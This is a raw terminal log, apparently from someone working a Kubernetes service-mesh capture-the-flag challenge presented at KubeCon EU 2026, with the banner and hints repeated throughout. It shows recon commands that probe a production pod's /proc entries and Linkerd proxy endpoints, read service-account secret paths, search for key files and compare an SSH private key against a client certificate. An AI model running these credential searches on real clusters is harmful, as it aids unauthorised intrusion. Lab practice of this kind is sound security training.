!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
To begin your heist, knock on the front door of the Envoy Gateway IP
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP
The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.
Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.
echo "=== PROCESSES IN DEBUG-TOOLS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ps aux 2>&1
echo "=== CHECK SHARED PID NS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls /proc/ 2>&1 | head -20
echo "=== LINKERD PROXY PORTS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ss -tlnp 2>&1
echo "=== TRY ADMIN IDENTITY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/identity 2>&1 | head -20
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/api/v1/certs 2>&1 | head -20
exit
echo "=== PROCESSES IN DEBUG-TOOLS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ps aux 2>&1
echo "=== CHECK SHARED PID NS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls /proc/ 2>&1 | head -20
echo "=== LINKERD PROXY PORTS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ss -tlnp 2>&1
echo "=== TRY ADMIN IDENTITY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/identity 2>&1 | head -20
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/api/v1/certs 2>&1 | head -20
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== PROCESSES IN DEBUG-TOOLS ==="
[?2004l=== PROCESSES IN DEBUG-TOOLS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- ps aux 2>&1
[?2004lerror: Internal error occurred: error executing command in container: failed to exec in container: failed to start exec "1118c90c110727ebd57b0c521a775f20c855e76653d9697c2523982fa0015c71": OCI runtime exec failed: exec failed: unable to start container process: exec: "ps": executable file not found in $PATH: unknown
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== CHECK SHARED PID NS ==="
[?2004l=== CHECK SHARED PID NS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- ls /proc/ 2>&1 | head -20
[?2004l1
3437
3518
acpi
bootconfig
buddyinfo
bus
cgroups
cmdline
consoles
cpuinfo
crypto
devices
diskstats
dma
driver
dynamic_debug
execdomains
fb
filesystems
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== LINKERD PROXY PORTS ==="
[?2004l=== LINKERD PROXY PORTS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- ss -tlnp 2>&1
[?2004lState Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
LISTEN 0 128 0.0.0.0:4191 0.0.0.0:*
LISTEN 0 128 0.0.0.0:4143 0.0.0.0:*
LISTEN 0 5 0.0.0.0:8080 0.0.0.0:*
LISTEN 0 128 127.0.0.1:4140 0.0.0.0:*
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== TRY ADMIN IDENTITY ==="
[?2004l=== TRY ADMIN IDENTITY ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- curl -s http://localhost:4191/identity 2>&1 | head -20
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- curl -s http://localhost:4191/api/v1/certs 2>&1 | head -20 [A427 -c debug-tools -- curl -s http://localhost:4191/api/v1/certs 2>&1 | head -2[K0
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004lexit
Connection to 35.179.133.134 closed.ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' echo "=== PROC CMDLINE ===" kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- cat /proc/1/cmdline 2>&1 | tr '\0' ' ' echo "" kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- cat /proc/3437/cmdline 2>&1 | tr '\0' ' ' echo "" kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- cat /proc/3518/cmdline 2>&1 | tr '\0' ' ' echo "" echo "=== READ LINKERD PROXY ROOT FS ===" kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls -la /proc/3437/root/var/run/linkerd/ 2>&1 kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls -la /proc/3518/root/var/run/linkerd/ 2>&1 echo "=== OPENSSL TO INBOUND PROXY ===" kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'echo | openssl s_client -connect localhost:4143 2>&1 | head -30' 2>&1 exit SSHEOF
_ _ _ ____ ____ _ _ _ _ _ __ __ ____ __ _ _ _ _ ____
( \/ \/ )( __)/ ___)/ )( \(_) ( ( \ / _\ ___ / _\ ( _ \ / \ / )( \( ( \( _ \
) ( ) _) \___ \) __ ( )( / / ( (_ \(___)/ \ ) /( () )) \/ (/ / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__) \__/ \_/\_/(_)\_) \__/ \____/\_)__)(____/
Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)
Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
To begin your heist, knock on the front door of the Envoy Gateway IP
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP
The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.
Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.
echo "=== PROC CMDLINE ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- cat /proc/1/cmdline 2>&1 | tr '\0' ' '
echo ""
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- cat /proc/3437/cmdline 2>&1 | tr '\0' ' '
echo ""
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- cat /proc/3518/cmdline 2>&1 | tr '\0' ' '
echo ""
echo "=== READ LINKERD PROXY ROOT FS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls -la /proc/3437/root/var/run/linkerd/ 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls -la /proc/3518/root/var/run/linkerd/ 2>&1
echo "=== OPENSSL TO INBOUND PROXY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'echo | openssl s_client -connect localhost:4143 2>&1 | head -30' 2>&1
exit
echo "=== PROC CMDLINE ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- cat /proc/1/cmdline 2>&1 | tr '\0' ' '
echo ""
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- cat /proc/3437/cmdline 2>&1 | tr '\0' ' '
echo ""
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- cat /proc/3518/cmdline 2>&1 | tr '\0' ' '
echo ""
echo "=== READ LINKERD PROXY ROOT FS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls -la /proc/3437/root/var/run/linkerd/ 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls -la /proc/3518/root/var/run/linkerd/ 2>&1
echo "=== OPENSSL TO INBOUND PROXY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'echo | openssl s_client -connect localhost:4143 2>&1 | head -30' 2>&1
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== PROC CMDLINE ==="
[?2004l=== PROC CMDLINE ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- cat /proc/1/cmdline 2>&1 | tr '\0' ' '
[?2004l/bin/sh -c apt-get update && apt-get install -y tcpdump curl iproute2
sleep infinity
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho ""
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- cat /proc/3437/cmdline 2>&1 | tr '\0' ' '
[?2004lsleep infinity [?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho ""
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- cat /proc/3518/cmdline 2>&1 | tr '\0' ' '
[?2004lcat: /proc/3518/cmdline: No such file or directory
command terminated with exit code 1
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho ""
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== READ LINKERD PROXY ROOT FS ==="
[?2004l=== READ LINKERD PROXY ROOT FS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- ls -la /proc/3437/root/var/run/linkerd/ 2>&1
[?2004lls: cannot access '/proc/3437/root/var/run/linkerd/': No such file or directory
command terminated with exit code 2
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- ls -la /proc/3518/root/var/run/linkerd/ 2>&1
[?2004lls: cannot access '/proc/3518/root/var/run/linkerd/': No such file or directory
command terminated with exit code 2
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== OPENSSL TO INBOUND PROXY ==="
[?2004l=== OPENSSL TO INBOUND PROXY ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- sh -c 'echo | openssl s_client -connect localhost:4143 2>&11 | head -30' 2>&1
[?2004lConnecting to 127.0.0.1
40471971CA7D0000:error:0A000126:SSL routines::unexpected eof while reading:../ssl/record/rec_layer_s3.c:698:
CONNECTED(00000003)
---
no peer certificate available
---
No client certificate CA names sent
Negotiated TLS1.3 group: <NULL>
---
SSL handshake has read 0 bytes and written 1533 bytes
Verification: OK
---
New, (NONE), Cipher is (NONE)
Protocol: TLSv1.3
This TLS version forbids renegotiation.
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004lexit
Connection to 35.179.133.134 closed.ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' echo "=== IPTABLES IN DEBUG-TOOLS ===" kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- iptables -t nat -L -n -v 2>&1 echo "=== TRY CURL VIA LINKERD PROXY ===" kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -svk https://10.111.253.191 2>&1 | tail -20 exit SSHEOF
_ _ _ ____ ____ _ _ _ _ _ __ __ ____ __ _ _ _ _ ____
( \/ \/ )( __)/ ___)/ )( \(_) ( ( \ / _\ ___ / _\ ( _ \ / \ / )( \( ( \( _ \
) ( ) _) \___ \) __ ( )( / / ( (_ \(___)/ \ ) /( () )) \/ (/ / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__) \__/ \_/\_/(_)\_) \__/ \____/\_)__)(____/
Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)
Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
To begin your heist, knock on the front door of the Envoy Gateway IP
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP
The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.
Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.
echo "=== IPTABLES IN DEBUG-TOOLS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- iptables -t nat -L -n -v 2>&1
echo "=== TRY CURL VIA LINKERD PROXY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -svk https://10.111.253.191 2>&1 | tail -20
exit
echo "=== IPTABLES IN DEBUG-TOOLS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- iptables -t nat -L -n -v 2>&1
echo "=== TRY CURL VIA LINKERD PROXY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -svk https://10.111.253.191 2>&1 | tail -20
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== IPTABLES IN DEBUG-TOOLS ==="
[?2004l=== IPTABLES IN DEBUG-TOOLS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- iptables -t nat -L -n -v 2>&1
[?2004lerror: Internal error occurred: error executing command in container: failed to exec in container: failed to start exec "db8eb0751e5e1f11bd78ada1a3bc6aaa1f0c00d56b19515121cb7c04f7555193": OCI runtime exec failed: exec failed: unable to start container process: exec: "iptables": executable file not found in $PATH: unknown
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== TRY CURL VIA LINKERD PROXY ==="
[?2004l=== TRY CURL VIA LINKERD PROXY ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- curl -svk https://10.111.253.191 2>&1 | tail -20
[?2004l* [HTTP/2] [1] [:method: GET]
* [HTTP/2] [1] [:scheme: https]
* [HTTP/2] [1] [:authority: 10.111.253.191]
* [HTTP/2] [1] [:path: /]
* [HTTP/2] [1] [user-agent: curl/8.14.1]
* [HTTP/2] [1] [accept: */*]
} [5 bytes data]
> GET / HTTP/2
> Host: 10.111.253.191
> User-Agent: curl/8.14.1
> Accept: */*
>
* Request completely sent off
{ [5 bytes data]
* TLSv1.3 (IN), TLS alert, unknown (628):
{ [2 bytes data]
* OpenSSL SSL_read: OpenSSL/3.5.5: error:0A00045C:SSL routines::tlsv13 alert certificate required, errno 0
* Failed receiving HTTP2 data: 56(Failure when receiving data from the peer)
* Connection #0 to host 10.111.253.191 left intact
command terminated with exit code 56
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004lexit
Connection to 35.179.133.134 closed.ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' echo "=== JUMPPOD SPEC ===" kubectl get pod jumppod-cd5dfbd7-m4b2w -n default -o yaml 2>&1 | head -100 echo "=== JUMPPOD VOLUMES ===" kubectl get pod jumppod-cd5dfbd7-m4b2w -n default -o yaml 2>&1 | grep -A 30 volumes echo "=== JUMPPOD VOLUME MOUNTS ===" mount 2>&1 echo "=== HIDDEN FILES ===" ls -la /run/secrets/ 2>&1 find /run/ -type f 2>&1 | head -20 find /etc/ -name "*linkerd*" -o -name "*client*" -o -name "*key*" 2>/dev/null | grep -v ssl | grep -v dpkg | head -10 exit SSHEOF
_ _ _ ____ ____ _ _ _ _ _ __ __ ____ __ _ _ _ _ ____
( \/ \/ )( __)/ ___)/ )( \(_) ( ( \ / _\ ___ / _\ ( _ \ / \ / )( \( ( \( _ \
) ( ) _) \___ \) __ ( )( / / ( (_ \(___)/ \ ) /( () )) \/ (/ / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__) \__/ \_/\_/(_)\_) \__/ \____/\_)__)(____/
Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)
Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
To begin your heist, knock on the front door of the Envoy Gateway IP
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP
The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.
Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.
echo "=== JUMPPOD SPEC ==="
kubectl get pod jumppod-cd5dfbd7-m4b2w -n default -o yaml 2>&1 | head -100
echo "=== JUMPPOD VOLUMES ==="
kubectl get pod jumppod-cd5dfbd7-m4b2w -n default -o yaml 2>&1 | grep -A 30 volumes
echo "=== JUMPPOD VOLUME MOUNTS ==="
mount 2>&1
echo "=== HIDDEN FILES ==="
ls -la /run/secrets/ 2>&1
find /run/ -type f 2>&1 | head -20
find /etc/ -name "*linkerd*" -o -name "*client*" -o -name "*key*" 2>/dev/null | grep -v ssl | grep -v dpkg | head -10
exit
echo "=== JUMPPOD SPEC ==="
kubectl get pod jumppod-cd5dfbd7-m4b2w -n default -o yaml 2>&1 | head -100
echo "=== JUMPPOD VOLUMES ==="
kubectl get pod jumppod-cd5dfbd7-m4b2w -n default -o yaml 2>&1 | grep -A 30 volumes
echo "=== JUMPPOD VOLUME MOUNTS ==="
mount 2>&1
echo "=== HIDDEN FILES ==="
ls -la /run/secrets/ 2>&1
find /run/ -type f 2>&1 | head -20
find /etc/ -name "*linkerd*" -o -name "*client*" -o -name "*key*" 2>/dev/null | grep -v ssl | grep -v dpkg | head -10
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== JUMPPOD SPEC ==="
[?2004l=== JUMPPOD SPEC ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get pod jumppod-cd5dfbd7-m4b2w -n default -o yaml 2>&1 | head -100
[?2004lError from server (Forbidden): pods "jumppod-cd5dfbd7-m4b2w" is forbidden: User "system:serviceaccount:default:jumppod" cannot get resource "pods" in API group "" in the namespace "default"
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== JUMPPOD VOLUMES ==="
[?2004l=== JUMPPOD VOLUMES ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get pod jumppod-cd5dfbd7-m4b2w -n default -o yaml 2>&1 | grep -A 30 volumes
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== JUMPPOD VOLUME MOUNTS ==="
[?2004l=== JUMPPOD VOLUME MOUNTS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kmount 2>&1
[?2004loverlay on / type overlay (rw,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/117/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/116/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/115/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/114/fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/118/fs,workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/118/work,uuid=on,nouserxattr)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
cgroup on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec,relatime)
/dev/root on /etc/hosts type ext4 (rw,relatime,discard,errors=remount-ro)
/dev/root on /dev/termination-log type ext4 (rw,relatime,discard,errors=remount-ro)
/dev/root on /etc/hostname type ext4 (rw,relatime,discard,errors=remount-ro)
/dev/root on /etc/resolv.conf type ext4 (rw,relatime,discard,errors=remount-ro)
shm on /dev/shm type tmpfs (rw,relatime,size=65536k,inode64)
tmpfs on /run/secrets/kubernetes.io/serviceaccount type tmpfs (ro,relatime,size=3903572k,inode64,noswap)
proc on /proc/bus type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/fs type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/irq type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/sys type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/sysrq-trigger type proc (ro,nosuid,nodev,noexec,relatime)
tmpfs on /proc/acpi type tmpfs (ro,relatime,inode64)
tmpfs on /proc/interrupts type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
tmpfs on /proc/latency_stats type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
tmpfs on /proc/timer_list type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
tmpfs on /proc/scsi type tmpfs (ro,relatime,inode64)
tmpfs on /sys/firmware type tmpfs (ro,relatime,inode64)
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== HIDDEN FILES ==="
[?2004l=== HIDDEN FILES ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# ls -la /run/secrets/ 2>&1
[?2004ltotal 12
drwxr-xr-x 3 root root 4096 Mar 25 10:51 [0m[01;34m.[0m
drwxr-xr-x 1 root root 4096 Mar 25 10:51 [01;34m..[0m
drwxr-xr-x 3 root root 4096 Mar 25 10:51 [01;34mkubernetes.io[0m
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# find /run/ -type f 2>&1 | head -20
[?2004l/run/systemd/container
/run/secrets/kubernetes.io/serviceaccount/..2026_03_25_10_51_23.1223040441/namespace
/run/secrets/kubernetes.io/serviceaccount/..2026_03_25_10_51_23.1223040441/ca.crt
/run/secrets/kubernetes.io/serviceaccount/..2026_03_25_10_51_23.1223040441/token
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# find /etc/ -name "*linkerd*" -o -name "*client*" --o -name "*key*" 2>/dev/null | grep -v ssl | grep -v dpkg | head -10
[?2004l/etc/apt/trusted.gpg.d/ubuntu-keyring-2012-cdimage.gpg
/etc/apt/trusted.gpg.d/ubuntu-keyring-2018-archive.gpg
/etc/apt/keyrings
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004lexit
Connection to 35.179.133.134 closed.# Check if the SSH RSA key matches the client cert # Extract modulus from cert openssl x509 -in /tmp/client.crt -noout -modulus 2>&1 | head -1 echo "===" # Extract modulus from SSH key converted to PEM ssh-keygen -f /tmp/challenge-2/simulator_rsa -e -m pem > /tmp/ssh_pub.pem 2>&1 # Check the private key directly openssl rsa -in /tmp/challenge-2/simulator_rsa -noout -modulus 2>&1 | head -1
